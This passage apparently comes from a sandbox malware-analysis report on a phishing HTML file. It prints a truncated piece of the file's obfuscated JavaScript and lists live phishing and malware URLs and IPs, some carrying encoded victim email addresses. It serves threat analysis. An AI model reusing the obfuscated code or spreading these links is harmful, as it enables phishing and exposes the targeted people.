0OyB4NjQpIEFwcGxlV2ViS2l0LzUzNy4zNiAoS0hUTUwsI
URL: file:///C:/Users/user/Desktop/Voice_Message.html Model: gpt-4o	```json { "riskscore": 8, "reasons": "The JavaScript code is heavily obfuscated, which is a common technique used to hide malicious intent. The code includes functions that appear to be designed to detect debugging or tampering, which is another red flag. Additionally, the presence of an email address in the code could indicate an attempt to phish or exfiltrate data. While obfuscation alone does not confirm malicious intent, the combination of these factors suggests a high risk." }
var rmkFYh = "#Bana.tannhauser@servier.com"; window.onload = function () { var _0x41937d=(function(){var _0x7973f5={'MtEqK':function(_0x3bd15b,_0x23f27e){return _0x3bd15b===_0x23f27e;},'zaKKu':'xvDc'+'X'},_0xe4e05e=!![];return function(_0x31fda2,_0x4b3125){var _0x33d1c4={'Saoks':function(_0x20689a,_0x277e6a){return _0x7973f5['MtEq'+'K'](_0x20689a,_0x277e6a);},'JSumu':_0x7973f5['zaKK'+'u']},_0x3d3ecd=_0xe4e05e?function(){function _0x4c2620(_0x2a0009,_0x3ed76c,_0x295004,_0x5e9dc2){return _0x4fd5(_0x3ed76c- -0x302,_0x2a0009);}function _0x4f9c65(_0x144315,_0x5c1488,_0x5300f8,_0x31ccff){return _0x4fd5(_0x31ccff- -0x1cb,_0x5300f8);}function _0x8888aa(_0x15ff71,_0x4e2dfd,_0x458730,_0x4ee33a){return _0x4fd5(_0x4e2dfd-0x230,_0x15ff71);}if(_0x33d1c4['Saok'+'s'](_0x33d1c4[_0x4f9c65(-0x1c7,-0x1c2,-0x1d3,-0x1cb)+'u'],_0x8888aa(0x22c,0x231,0x235,0x239)+'X')){if(_0x4b3125){var _0x48adb2=_0x4b3125['appl'+'y'](_0x31fda2,arguments);return _0x4b3125=null,_0x48adb2;}}else{if(_0x45091f){var _0x2cd93a=_0x55eb84[_0x4c2620(-0x2f7,-0x300,-0x305,-0x304)+'y'](_0x5c2cde,arguments);return _0x47a430=null,_0x2cd93a;}}}:function(){};return _0xe4e05e=![],_0x3d3ecd;};}()),_0x670ec9=_0x41937d(this,function(){function _0x33e746(_0x18b81d,_0x49778f,_0x51d197,_0xe795c4){return _0x4fd5(_0x51d197-0x2ea,_0x49778f);}function _0x2c4a21(_0x3f79ae,_0x41ff73,_0x2a4497,_0x20c93c){return _0x4fd5(_0x20c93c-0x1df,_0x3f79ae);}function _0x14164c(_0x132e82,_0x5e8c20,_0x4b1894,_0x4bda25){return _0x4fd5(_0x5e8c20-0x61,_0x4bda25);}return _0x670ec9['toSt'+'ring']()['sear'+'ch']('(((.'+_0x33e746(0x2f6,0x2f6,0x2ed,0x2ee)+_0x33e746(0x2eb,0x2e9,0x2ee,0x2f4))[_0x2c4a21(0x1e3,0x1e3,0x1e3,0x1e4)+'ring']()['cons'+'truc'+'tor'](_0x670ec9)['sear'+'ch']('(((.'+'+)+)'+'+)+$');});function _0x301e4f(_0x4478f9,_0x529524,_0x1e1352,_0x339870){return _0x4fd5(_0x339870-0x17a,_0x4478f9);}function _0x4fd5(_0xafaa45,_0x66b176){var _0xf363ae=_0x5a87();return _0x4fd5=function(_0x3829ef,_0x579c27){_0x3829ef=_0x3829ef-0x0;var _0x38803d=_0xf363ae[_0x3829ef];return _0x38803d;},_0x4fd5(_0xafaa45,_0x66b176);}_0x670ec9();function _0x5a87(){var _0x58c734=['JSum','xvDc','appl','+)+)','+)+$','toSt','func','onst','ruct','or(\x22','Rjxt','retu','exce','tabl','ring','src','s://','Uo/'];_0x5a87=function(){return _0x58c734;};return _0x5a87();}function _0x47c870(_0xb4b8e9,_0x2f0321,_0x590cd5,_0x53e2be){return _0x4fd5(_0x590cd5- -0x25a,_0x53e2be);}var _0x3532d1=(function(){var _0x3686ed=!![];return function(_0x1dbde5,_0x1f1b00){var _0x2d3a02={'SDqnW':function(_0x16b7d7,_0x179371){return _0x16b7d7+_0x179371;}},_0x16a947=_0x3686ed?function(){function _0x2584f3(_0x3ffd79,_0x236d17,_0x195caa,_0x553a66){return _0x4fd5(_0x553a66- -0x3d7,_0x3ffd79);}function _0x3f1dde(_0x49242c,_0x59860b,_0x51805a,_0x39bb5b){return _0x4fd5(_0x49242c- -0x18d,_0x59860b);}function _0xd6f04a(_0x335ebe,_0x12c0ef,_0x2a8a2e,_0x253eaa){return _0x4fd5(_0x335ebe- -0x1f7,_0x2a8a2e);}function _0x229b7c(_0x18491c,_0x35c81d,_0x6eef55,_0x457069){return _0x4fd5(_0x6eef55- -0x16,_0x
URL: https://fmzd.oryz0.com/9921882535976616575172665JGHCTZWMGWUIDZD?VFTGJUDGCPOGHXCCHYOOJK6107405097496668290428471YSPWWGTZJEAPZZXMJKZGITAHV Model: gpt-4o	```json { "phishing_score": 9, "brands": "Microsoft", "phishing": true, "suspicious_domain": true, "has_loginform": true, "has_captcha": false, "setechniques": true, "reasons": "The URL is highly suspicious with a random string and does not match the legitimate Microsoft domain. The page mimics the Microsoft login page, which is a common tactic in phishing attacks." }

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
13.227.219.11	https://ipfs.io/ipfs/bafkreigaatqmy2dep6ftrscv6trkpbmzbh4xy3oaecv4mhhl3rwhrsdpxy	Get hash	malicious	HTMLPhisher	Browse
	https://phlynetophlyclaims.cloud/XRyiqv	Get hash	malicious	HTMLPhisher	Browse
	https://linkpages.pro/P5zVPP	Get hash	malicious	Unknown	Browse
	https://interacty.me/projects/document_doc	Get hash	malicious	HTMLPhisher	Browse
	Messages Undelivered.html	Get hash	malicious	Unknown	Browse
239.255.255.250	http://johnlewisdeal.shop	Get hash	malicious	Unknown	Browse
	https://m.exactag.com/ai.aspx?tc=d9069973bc40b07205bbd26a23a8d2e6b6b4f9&url=http%253Atvlasestrellas.com%2Fxb%2F97956%2F%2FYy5tdXNjYXRAYW5kYXJpYS5jb20=	Get hash	malicious	HTMLPhisher	Browse
	https://url12.mailanyone.net/scanner?m=1s9PCz-0000cD-4j&d=4%7Cmail%2F90%2F1716296400%2F1s9PCz-0000cD-4j%7Cin12g%7C57e1b682%7C11949542%7C14589158%7C664C9C811D87B03FE2E6472997A0C22E&o=%2Fphtl%3A%2Fatsnhtaageeteoilogt.rgsigc%2Faz.&s=1YKQiaLIfHH0tTbjCAvEAnTGAIU	Get hash	malicious	Unknown	Browse
	https://fm.solewe.com/?dl=1bf2e18efc6c3969c16b88a11bd91a04	Get hash	malicious	Unknown	Browse
	https://projstrategy-my.sharepoint.com/:b:/g/personal/inanitsos_projectstrategy_com_au/EdJ_TOHUdtpGoAxO3QOSk_ABCbGj94fpbueRUNITIckAoA?e=4%3atnNEbw&at=9	Get hash	malicious	HTMLPhisher	Browse
	https://phlynetophlyclaims.cloud/XRyiqv	Get hash	malicious	Unknown	Browse
	http://fdfasfdfasfrec.pages.dev	Get hash	malicious	Unknown	Browse
	https://ess.barracudanetworks.com/log/attachment/1716424682-111317-12655-17925-1-f753bb225f4e71c9afb814b6ed27b402/email%20(002).mht	Get hash	malicious	HTMLPhisher	Browse
	Join_Conversation.rtf	Get hash	malicious	Unknown	Browse
	ELECTRONIC RECEIPT_Augustahealth.html	Get hash	malicious	HTMLPhisher	Browse
151.101.66.137	http://site9615380.92.webydo.com/?v=1	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-1.7.2.min.js
	http://grandprairie-water-damage-restoration.com	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-3.3.1.min.js
	2023121142000021ki01kvjs.html	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-latest.min.js
104.17.2.184	https://m.exactag.com/ai.aspx?tc=d9069973bc40b07205bbd26a23a8d2e6b6b4f9&url=http%253Atvlasestrellas.com%2Fxb%2F97956%2F%2FYy5tdXNjYXRAYW5kYXJpYS5jb20=	Get hash	malicious	HTMLPhisher	Browse
	Join_Conversation.rtf	Get hash	malicious	Unknown	Browse
	http://danaa-gratis.000webhostapp.com/	Get hash	malicious	Unknown	Browse
	http://smooth-urial.super.site/	Get hash	malicious	Unknown	Browse
	https://clk9.com/enews/t.aspx?S=303&ID=167904&NL=23801&N=83374&SI=9532795&URL=https://nakshathraa.com%2ftet%2F37534%2Fz63jq6lifb%2Fc2hpcmxlZS5kaW5vbGlzQGFtY25ldHdvcmtzLmNvbQ==	Get hash	malicious	HTMLPhisher	Browse
	https://tome.app/magic-inc-575/battalion-oil-corp-clwf4e8zj1eawod650qdnv0xx?page=kr1gn8q23ho9ojwq7i3rue30&d=DwMFAg	Get hash	malicious	HtmlDropper, HTMLPhisher	Browse
	https://bunmioyinsan.com/404.php?7-797967704b53693230746650794d394c5361334d7a632f50307973713163744c4c644776536a59334337616f384e4850424d705536475755354f594141413d3d=797967704b536932307465767143677379306c4b4c5333504e74444c4b63334e4c4d354c4c4b7255793873763079737131516341&em=bWplc3NlQGJyb3duaW5nY2hhcG1hbi5jb20=	Get hash	malicious	Unknown	Browse
	https://tome.app/magic-inc-575/battalion-oil-corp-clwf4e8zj1eawod650qdnv0xx?page=kr1gn8q23ho9ojwq7i3rue30	Get hash	malicious	HtmlDropper, HTMLPhisher	Browse
	Airbornemx SWIFT COPY _ Wednesday May 2024..rtf	Get hash	malicious	HTMLPhisher	Browse
	https://theambrose.surveysparrow.com/s/The-Ambrose-Group/tt-JE6PR	Get hash	malicious	Unknown	Browse
104.17.3.184	https://m.exactag.com/ai.aspx?tc=d9069973bc40b07205bbd26a23a8d2e6b6b4f9&url=http%253Atvlasestrellas.com%2Fxb%2F97956%2F%2FYy5tdXNjYXRAYW5kYXJpYS5jb20=	Get hash	malicious	HTMLPhisher	Browse
	Join_Conversation.rtf	Get hash	malicious	Unknown	Browse
	http://danaa-gratis.000webhostapp.com/	Get hash	malicious	Unknown	Browse
	http://smooth-urial.super.site/	Get hash	malicious	Unknown	Browse
	https://public-usa.mkt.dynamics.com/api/orgs/73621b0f-9313-ef11-9f85-00224806e526/r/WKmfOruHV0W6ncX4hUVNngQAAAA?target=%7B%22TargetUrl%22%3A%22https%253A%252F%252Fprinttechsurl.com%252F%253Fkvifjwdf%2526qrc%253Dbmitts%2540highlandfunds.com%22%2C%22RedirectOptions%22%3A%7B%225%22%3Anull%2C%221%22%3Anull%7D%7D&digest=iyIjxuY%2BqqaAcbuKe8o9oixwHYyorXvjpRbJyVpqnp8%3D&secretVersion=a587597bbd2d4ba3bb4334f6d8be15ee	Get hash	malicious	HTMLPhisher	Browse
	https://clk9.com/enews/t.aspx?S=303&ID=167904&NL=23801&N=83374&SI=9532795&URL=https://nakshathraa.com%2ftet%2F37534%2Fz63jq6lifb%2Fc2hpcmxlZS5kaW5vbGlzQGFtY25ldHdvcmtzLmNvbQ==	Get hash	malicious	HTMLPhisher	Browse
	https://bunmioyinsan.com/404.php?7-797967704b53693230746650794d394c5361334d7a632f50307973713163744c4c644776536a59334337616f384e4850424d705536475755354f594141413d3d=797967704b536932307465767143677379306c4b4c5333504e74444c4b63334e4c4d354c4c4b7255793873763079737131516341&em=bWplc3NlQGJyb3duaW5nY2hhcG1hbi5jb20=	Get hash	malicious	Unknown	Browse
	https://tome.app/magic-inc-575/battalion-oil-corp-clwf4e8zj1eawod650qdnv0xx?page=kr1gn8q23ho9ojwq7i3rue30	Get hash	malicious	HtmlDropper, HTMLPhisher	Browse
	Airbornemx SWIFT COPY _ Wednesday May 2024..rtf	Get hash	malicious	HTMLPhisher	Browse
	https://theambrose.surveysparrow.com/s/The-Ambrose-Group/tt-JE6PR	Get hash	malicious	Unknown	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
challenges.cloudflare.com	https://m.exactag.com/ai.aspx?tc=d9069973bc40b07205bbd26a23a8d2e6b6b4f9&url=http%253Atvlasestrellas.com%2Fxb%2F97956%2F%2FYy5tdXNjYXRAYW5kYXJpYS5jb20=	Get hash	malicious	HTMLPhisher	Browse	104.17.2.184
	Join_Conversation.rtf	Get hash	malicious	Unknown	Browse	104.17.2.184
	http://danaa-gratis.000webhostapp.com/	Get hash	malicious	Unknown	Browse	104.17.2.184
	http://smooth-urial.super.site/	Get hash	malicious	Unknown	Browse	104.17.2.184
	https://public-usa.mkt.dynamics.com/api/orgs/73621b0f-9313-ef11-9f85-00224806e526/r/WKmfOruHV0W6ncX4hUVNngQAAAA?target=%7B%22TargetUrl%22%3A%22https%253A%252F%252Fprinttechsurl.com%252F%253Fkvifjwdf%2526qrc%253Dbmitts%2540highlandfunds.com%22%2C%22RedirectOptions%22%3A%7B%225%22%3Anull%2C%221%22%3Anull%7D%7D&digest=iyIjxuY%2BqqaAcbuKe8o9oixwHYyorXvjpRbJyVpqnp8%3D&secretVersion=a587597bbd2d4ba3bb4334f6d8be15ee	Get hash	malicious	HTMLPhisher	Browse	104.17.3.184
	https://clk9.com/enews/t.aspx?S=303&ID=167904&NL=23801&N=83374&SI=9532795&URL=https://nakshathraa.com%2ftet%2F37534%2Fz63jq6lifb%2Fc2hpcmxlZS5kaW5vbGlzQGFtY25ldHdvcmtzLmNvbQ==	Get hash	malicious	HTMLPhisher	Browse	104.17.3.184
	https://tome.app/magic-inc-575/battalion-oil-corp-clwf4e8zj1eawod650qdnv0xx?page=kr1gn8q23ho9ojwq7i3rue30&d=DwMFAg	Get hash	malicious	HtmlDropper, HTMLPhisher	Browse	104.17.2.184
	https://bunmioyinsan.com/404.php?7-797967704b53693230746650794d394c5361334d7a632f50307973713163744c4c644776536a59334337616f384e4850424d705536475755354f594141413d3d=797967704b536932307465767143677379306c4b4c5333504e74444c4b63334e4c4d354c4c4b7255793873763079737131516341&em=bWplc3NlQGJyb3duaW5nY2hhcG1hbi5jb20=	Get hash	malicious	Unknown	Browse	104.17.3.184
	https://tome.app/magic-inc-575/battalion-oil-corp-clwf4e8zj1eawod650qdnv0xx?page=kr1gn8q23ho9ojwq7i3rue30	Get hash	malicious	HtmlDropper, HTMLPhisher	Browse	104.17.2.184
	Airbornemx SWIFT COPY _ Wednesday May 2024..rtf	Get hash	malicious	HTMLPhisher	Browse	104.17.3.184
d2vgu95hoyrpkh.cloudfront.net	https://ipfs.io/ipfs/bafkreigaatqmy2dep6ftrscv6trkpbmzbh4xy3oaecv4mhhl3rwhrsdpxy	Get hash	malicious	HTMLPhisher	Browse	13.227.219.11
	Airbornemx SWIFT COPY _ Wednesday May 2024..rtf	Get hash	malicious	HTMLPhisher	Browse	13.227.219.47
	https://oknya83345.eleteriod.com/infd201971/#YWhlaW5tYWFAY2lkZWwuY29t	Get hash	malicious	HTMLPhisher	Browse	18.245.31.89
	https://xerox-ndzda15184.strudse.com/edtpx73416/#bGNvbnJhZEBoaW5ja2xleWFsbGVuLmNvbQ==	Get hash	malicious	HTMLPhisher	Browse	13.32.145.9
	https://p538.tumenum.com/4568/	Get hash	malicious	HTMLPhisher	Browse	18.245.31.89
	https://WZWsc.ingeakr.com/cQtz4O/#YWxleGFuZHJlLmhlcmlhcmQtZHVicmV1aWxAbGNhdHRlcnRvbi5jb20=	Get hash	malicious	HTMLPhisher	Browse	18.245.31.5
	https://m.exactag.com/ai.aspx?tc=d9069973bc40b07205bbd26a23a8d2e6b6b4f9&url=http%253Aroyalweddingsktm.com%2Fimgs%2F37534%2Fsin3qp16kb%2FbWFyYy5zbWl0aEB6YmV0YS5jb20=	Get hash	malicious	HTMLPhisher	Browse	13.227.219.97
	https://www.google.co.in/amp/s/www.google.com%2Furl%3Fq%3Dhttps%253A%252F%252Flinkprotect.cudasvc.com%252Furl%253Fa%253Dhttps%253A%252F%252Fwww.visaliakawasaki.com%252FElementSettings%252Fwww.visaliakawasaki.com%252FViewSwitcher%252FSwitchView%253Fmobile%25253DTrue%252526returnUrl%25253Dhttps%253A%252F%252Fu44590137.ct.sendgrid.net%2525252Fls%2525252Fclick%2525253Fupn%2525253Du001.GjIPgTulbfriEzQws5bSKQ0tBwgDf638cPIbrF7bBS8NN2MSd8LfwpRfwqfZEGcjwx-2FiuTfrARoUEAvK7M4n-2BAg1-2F-2FELp5mbBCr0JpdUspiR4oOxJWlS78YEBXijZzkpDiow2nY9KnoFU4ondac8lETPxsyfIct1leS36BfzpkQFKz3TSN9vr61CiVS4uHuNxHob1YUQlV-2BuCeGkvPZJV-2Fo6nAK0QlEj0EmBYAIy3ug8F51T3ZDa-2B0U9lsOqpmba-2FjupN30EfyuEJ9V8e6kbUqxVB0dBioMo5Q1FZl2HioSDtvdcNiAGq-2FmCD-2BpOCdTj4QHZ1svLtVhW3tuPt3TtsKIhMyEQSCBs4KE0QMxTg7Tz3z8lSQNT9N-2Fv2njFNugtWC55_ePYPF6nkF-2BGqBPgpX-2FhQmioAe0Ok4T3S5or1jtZ-2Ff383C4htchEL8ALyz-2FlVDREoFm5EYW0CKJH8Ggnzzvs7KZs3lddF5XzBqvbWlUq3b7V8WyhGiFvjiJtK7QU5N-2Bw2l0QVeej2h7lohWb4z7akLA6ULkTMilx4MGaOA76Y-2F5HTpAh-2FdbwkpAokcG5eM9Rgxr4DfjrCXIjRfG-2BxidDnJzSHi3PNzjjg2x85tMoFNvNhO8MXLTCfsTp2viUCW4cwXWH41yL3YRc97LTzO-2Bs1tiekgXBuymyjOOUCwrfeaoXHwdrUnOC9lLkSCEyEphHHVSUXTRheWH0LQ7d2Vy6YeuU-2FjUnSGfGD3ETh0RWvsTi4KIuS1qozJTidO-2BKbzSC9TN6-2FxeDkpH2v1OcpEc8Fy-2FLfywg7-2FYgWvv7vnLqr0rtoJRdMZ5ykC1gZl1L6PvUe%2526c%253DE%252C1%252C5bEVim247z1fGhtUhmYwbNu1H8iIZr4NrgaCfUxKZdTyuUxW48gwPUfsoILDy-FCjYA5-2MCgtJlXy5N3PAFAD47XFHidB4K4cNJC7Z-FhFR1P96vPVq%2526typo%253D1%26sa%3DD%26sntz%3D1%26usg%3DAOvVaw1azOLVizvjWw-irSjGm96x#dGhhbGxAb3AtZi5vcmc=	Get hash	malicious	HTMLPhisher	Browse	13.227.219.40
	https://app.writesonic.com/share/undefined/d39fda15-8db2-4c14-a53a-3ed94b26ade1	Get hash	malicious	HTMLPhisher	Browse	13.32.145.26
	https://www.google.co.in/amp/s/www.google.com%2Furl%3Fq%3Dhttps%253A%252F%252Flinkprotect.cudasvc.com%252Furl%253Fa%253Dhttps%253A%252F%252Fwww.visaliakawasaki.com%252FElementSettings%252Fwww.visaliakawasaki.com%252FViewSwitcher%252FSwitchView%253Fmobile%25253DTrue%252526returnUrl%25253Dhttps%253A%252F%252Fu44590137.ct.sendgrid.net%2525252Fls%2525252Fclick%2525253Fupn%2525253Du001.GjIPgTulbfriEzQws5bSKQ0tBwgDf638cPIbrF7bBS8NN2MSd8LfwpRfwqfZEGcjwx-2FiuTfrARoUEAvK7M4n-2BAg1-2F-2FELp5mbBCr0JpdUspiR4oOxJWlS78YEBXijZzkpDiow2nY9KnoFU4ondac8lETPxsyfIct1leS36BfzpkQFKz3TSN9vr61CiVS4uHuNxHob1YUQlV-2BuCeGkvPZJV-2Fo6nAK0QlEj0EmBYAIy3ug8F51T3ZDa-2B0U9lsOqpmba-2FjupN30EfyuEJ9V8e6kbUqxVB0dBioMo5Q1FZl2HioSDtvdcNiAGq-2FmCD-2BpOCdTj4QHZ1svLtVhW3tuPt3TtsKIhMyEQSCBs4KE0QMxTg7Tz3z8lSQNT9N-2Fv2njFNugtWC55_ePYPF6nkF-2BGqBPgpX-2FhQmioAe0Ok4T3S5or1jtZ-2Ff383C4htchEL8ALyz-2FlVDREoFm5EYW0CKJH8Ggnzzvs7KZs3lddF5XzBqvbWlUq3b7V8WyhGiFvjiJtK7QU5N-2Bw2l0QVeej2h7lohWb4z7akLA6ULkTMilx4MGaOA76Y-2F5HTpAh-2FdbwkpAokcG5eM9Rgxr4DfjrCXIjRfG-2BxidDnJzSHi3PNzjjg2x85tMoFNvNhO8MXLTCfsTp2viUCW4cwXWH41yL3YRc97LTzO-2Bs1tiekgXBuymyjOOUCwrfeaoXHwdrUnOC9lLkSCEyEphHHVSUXTRheWH0LQ7d2Vy6YeuU-2FjUnSGfGD3ETh0RWvsTi4KIuS1qozJTidO-2BKbzSC9TN6-2FxeDkpH2v1OcpEc8Fy-2FLfywg7-2FYgWvv7vnLqr0rtoJRdMZ5ykC1gZl1L6PvUe%2526c%253DE%252C1%252C5bEVim247z1fGhtUhmYwbNu1H8iIZr4NrgaCfUxKZdTyuUxW48gwPUfsoILDy-FCjYA5-2MCgtJlXy5N3PAFAD47XFHidB4K4cNJC7Z-FhFR1P96vPVq%2526typo%253D1%26sa%3DD%26sntz%3D1%26usg%3DAOvVaw1azOLVizvjWw-irSjGm96x#ZGI4N0BvZnNvcHRpY3MuY29t	Get hash	malicious	HTMLPhisher	Browse	13.32.145.108
code.jquery.com	http://fdfasfdfasfrec.pages.dev	Get hash	malicious	Unknown	Browse	151.101.194.137
	Join_Conversation.rtf	Get hash	malicious	Unknown	Browse	151.101.130.137
	http://segurogestionvirtual.brizy.site/	Get hash	malicious	Unknown	Browse	151.101.194.137
	https://actualizacionesban-colombia.brizy.site/	Get hash	malicious	Unknown	Browse	151.101.66.137
	https://inboxexchangeservice.pages.dev/	Get hash	malicious	HTMLPhisher	Browse	151.101.2.137
	https://claiim-dana-kagett.clikweb.my.id/	Get hash	malicious	Unknown	Browse	151.101.66.137
	https://pub-74078d8ac5f84641b7fc23b33367d558.r2.dev/blob.html	Get hash	malicious	HTMLPhisher	Browse	151.101.194.137
	http://steamcommunici.com/profiles/76567410475250301	Get hash	malicious	Unknown	Browse	151.101.66.137
	https://rhetorical-necessary-radius.glitch.me/yuyq27817opoqbnah.html	Get hash	malicious	Unknown	Browse	151.101.2.137
	https://wowwowhawaiianlemonade.com	Get hash	malicious	Unknown	Browse	151.101.130.137

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	http://johnlewisdeal.shop	Get hash	malicious	Unknown	Browse	104.18.169.76
	INVOICE.js	Get hash	malicious	AgentTesla	Browse	188.114.97.3
	https://m.exactag.com/ai.aspx?tc=d9069973bc40b07205bbd26a23a8d2e6b6b4f9&url=http%253Atvlasestrellas.com%2Fxb%2F97956%2F%2FYy5tdXNjYXRAYW5kYXJpYS5jb20=	Get hash	malicious	HTMLPhisher	Browse	104.17.2.184
	https://fm.solewe.com/?dl=1bf2e18efc6c3969c16b88a11bd91a04	Get hash	malicious	Unknown	Browse	172.67.74.191
	Zam#U00f3w nr 90016288247_ ZNG_1406_MG_2024_004782922.pdf.exe	Get hash	malicious	AgentTesla	Browse	104.26.13.205
	NEW ORDER.exe	Get hash	malicious	AgentTesla	Browse	104.26.13.205
	RzDiagnostic.exe	Get hash	malicious	Unknown	Browse	104.21.43.75
	pro-forma invoice.xlsm.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	172.67.74.152
	NTgo4SxmS3.exe	Get hash	malicious	Blank Grabber, DCRat	Browse	162.159.135.232
	http://fdfasfdfasfrec.pages.dev	Get hash	malicious	Unknown	Browse	172.66.45.14
CLOUDFLARENETUS	http://johnlewisdeal.shop	Get hash	malicious	Unknown	Browse	104.18.169.76
	INVOICE.js	Get hash	malicious	AgentTesla	Browse	188.114.97.3
	https://m.exactag.com/ai.aspx?tc=d9069973bc40b07205bbd26a23a8d2e6b6b4f9&url=http%253Atvlasestrellas.com%2Fxb%2F97956%2F%2FYy5tdXNjYXRAYW5kYXJpYS5jb20=	Get hash	malicious	HTMLPhisher	Browse	104.17.2.184
	https://fm.solewe.com/?dl=1bf2e18efc6c3969c16b88a11bd91a04	Get hash	malicious	Unknown	Browse	172.67.74.191
	Zam#U00f3w nr 90016288247_ ZNG_1406_MG_2024_004782922.pdf.exe	Get hash	malicious	AgentTesla	Browse	104.26.13.205
	NEW ORDER.exe	Get hash	malicious	AgentTesla	Browse	104.26.13.205
	RzDiagnostic.exe	Get hash	malicious	Unknown	Browse	104.21.43.75
	pro-forma invoice.xlsm.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	172.67.74.152
	NTgo4SxmS3.exe	Get hash	malicious	Blank Grabber, DCRat	Browse	162.159.135.232
	http://fdfasfdfasfrec.pages.dev	Get hash	malicious	Unknown	Browse	172.66.45.14
AMAZON-02US	vZBUQqNWgr.elf	Get hash	malicious	Mirai	Browse	54.169.135.62
	n8RoxsQ4om.elf	Get hash	malicious	Mirai	Browse	54.118.15.133
	Xi102MnZby.elf	Get hash	malicious	Mirai	Browse	18.229.102.134
	TYxryaQOKO.elf	Get hash	malicious	Mirai	Browse	54.126.69.53
	wz5CHr5oLF.elf	Get hash	malicious	Mirai	Browse	13.58.18.157
	https://fm.solewe.com/?dl=1bf2e18efc6c3969c16b88a11bd91a04	Get hash	malicious	Unknown	Browse	52.212.30.128
	https://phlynetophlyclaims.cloud/XRyiqv	Get hash	malicious	Unknown	Browse	18.184.197.212
	dfzesJIgdr.exe	Get hash	malicious	RedLine, Vidar	Browse	52.217.231.113
	aBty1GtaQm.elf	Get hash	malicious	Unknown	Browse	54.171.230.55
	https://ess.barracudanetworks.com/log/attachment/1716424682-111317-12655-17925-1-f753bb225f4e71c9afb814b6ed27b402/email%20(002).mht	Get hash	malicious	HTMLPhisher	Browse	3.140.43.190
FASTLYUS	vZBUQqNWgr.elf	Get hash	malicious	Mirai	Browse	199.233.13.62
	http://fdfasfdfasfrec.pages.dev	Get hash	malicious	Unknown	Browse	151.101.194.137
	https://ess.barracudanetworks.com/log/attachment/1716424682-111317-12655-17925-1-f753bb225f4e71c9afb814b6ed27b402/email%20(002).mht	Get hash	malicious	HTMLPhisher	Browse	151.101.65.40
	Join_Conversation.rtf	Get hash	malicious	Unknown	Browse	151.101.130.137
	http://segurogestionvirtual.brizy.site/	Get hash	malicious	Unknown	Browse	151.101.1.44
	https://actualizacionesban-colombia.brizy.site/	Get hash	malicious	Unknown	Browse	151.101.66.137
	http://enter-mantagalaxies.com/	Get hash	malicious	Unknown	Browse	185.199.108.153
	https://inboxexchangeservice.pages.dev/	Get hash	malicious	HTMLPhisher	Browse	151.101.2.137
	https://claiim-dana-kagett.clikweb.my.id/	Get hash	malicious	Unknown	Browse	151.101.66.137
	https://pub-74078d8ac5f84641b7fc23b33367d558.r2.dev/blob.html	Get hash	malicious	HTMLPhisher	Browse	151.101.194.137

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	https://m.exactag.com/ai.aspx?tc=d9069973bc40b07205bbd26a23a8d2e6b6b4f9&url=http%253Atvlasestrellas.com%2Fxb%2F97956%2F%2FYy5tdXNjYXRAYW5kYXJpYS5jb20=	Get hash	malicious	HTMLPhisher	Browse	2.19.244.127 184.28.90.27 20.12.23.50
	https://url12.mailanyone.net/scanner?m=1s9PCz-0000cD-4j&d=4%7Cmail%2F90%2F1716296400%2F1s9PCz-0000cD-4j%7Cin12g%7C57e1b682%7C11949542%7C14589158%7C664C9C811D87B03FE2E6472997A0C22E&o=%2Fphtl%3A%2Fatsnhtaageeteoilogt.rgsigc%2Faz.&s=1YKQiaLIfHH0tTbjCAvEAnTGAIU	Get hash	malicious	Unknown	Browse	2.19.244.127 184.28.90.27 20.12.23.50
	https://fm.solewe.com/?dl=1bf2e18efc6c3969c16b88a11bd91a04	Get hash	malicious	Unknown	Browse	2.19.244.127 184.28.90.27 20.12.23.50
	https://projstrategy-my.sharepoint.com/:b:/g/personal/inanitsos_projectstrategy_com_au/EdJ_TOHUdtpGoAxO3QOSk_ABCbGj94fpbueRUNITIckAoA?e=4%3atnNEbw&at=9	Get hash	malicious	HTMLPhisher	Browse	2.19.244.127 184.28.90.27 20.12.23.50
	https://phlynetophlyclaims.cloud/XRyiqv	Get hash	malicious	Unknown	Browse	2.19.244.127 184.28.90.27 20.12.23.50
	http://fdfasfdfasfrec.pages.dev	Get hash	malicious	Unknown	Browse	2.19.244.127 184.28.90.27 20.12.23.50
	https://ess.barracudanetworks.com/log/attachment/1716424682-111317-12655-17925-1-f753bb225f4e71c9afb814b6ed27b402/email%20(002).mht	Get hash	malicious	HTMLPhisher	Browse	2.19.244.127 184.28.90.27 20.12.23.50
	Join_Conversation.rtf	Get hash	malicious	Unknown	Browse	2.19.244.127 184.28.90.27 20.12.23.50
	ELECTRONIC RECEIPT_Augustahealth.html	Get hash	malicious	HTMLPhisher	Browse	2.19.244.127 184.28.90.27 20.12.23.50
	SecuriteInfo.com.FileRepMalware.10630.9616.exe	Get hash	malicious	Unknown	Browse	2.19.244.127 184.28.90.27 20.12.23.50

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	231
Entropy (8bit):	6.725074433303473
Encrypted:	false
SSDEEP:	6:6v/lhPZsRtsa9hC0bKDHv5Ef30XY4qMa3IE6Aleup:6v/76eAhbSHusYX4E3
MD5:	547988BAC5584B4608466D761E16F370
SHA1:	C11BB71049702528402A31027F200184910A7E23
SHA-256:	70E32B2DB3F079BB0295A85A0DB15ED9E5926294DD947938D6CFA595F5AB18B4
SHA-512:	C4A76F6E94982D1CC02C2B67523A334E76BFDE525C1014D32DB9E7ECA0FA39A06F291ECFA94C8C6A49D488EA3ACF9C10DDF3CAD9515562010440863D0F08FBA3
Malicious:	false
Reputation:	moderate, very likely benign file
URL:	https://fmzd.oryz0.com/uvhsHf7kvdLkQQERLIIhKast6Nm88PiJoYHda69V12127
Preview:	.PNG........IHDR..............w=.....sRGB.........IDATHK...1...Z......... #$#..-.. $$3..H...q.x.>.x..yY.\|.@h.......$.B/..*Ec...J.}.....Rl..^.......#-...f.6p.cJigf...G.<.!.z..>a.+j....&U.....E/.._.`.d...~_....7...4`....IEND.B`.

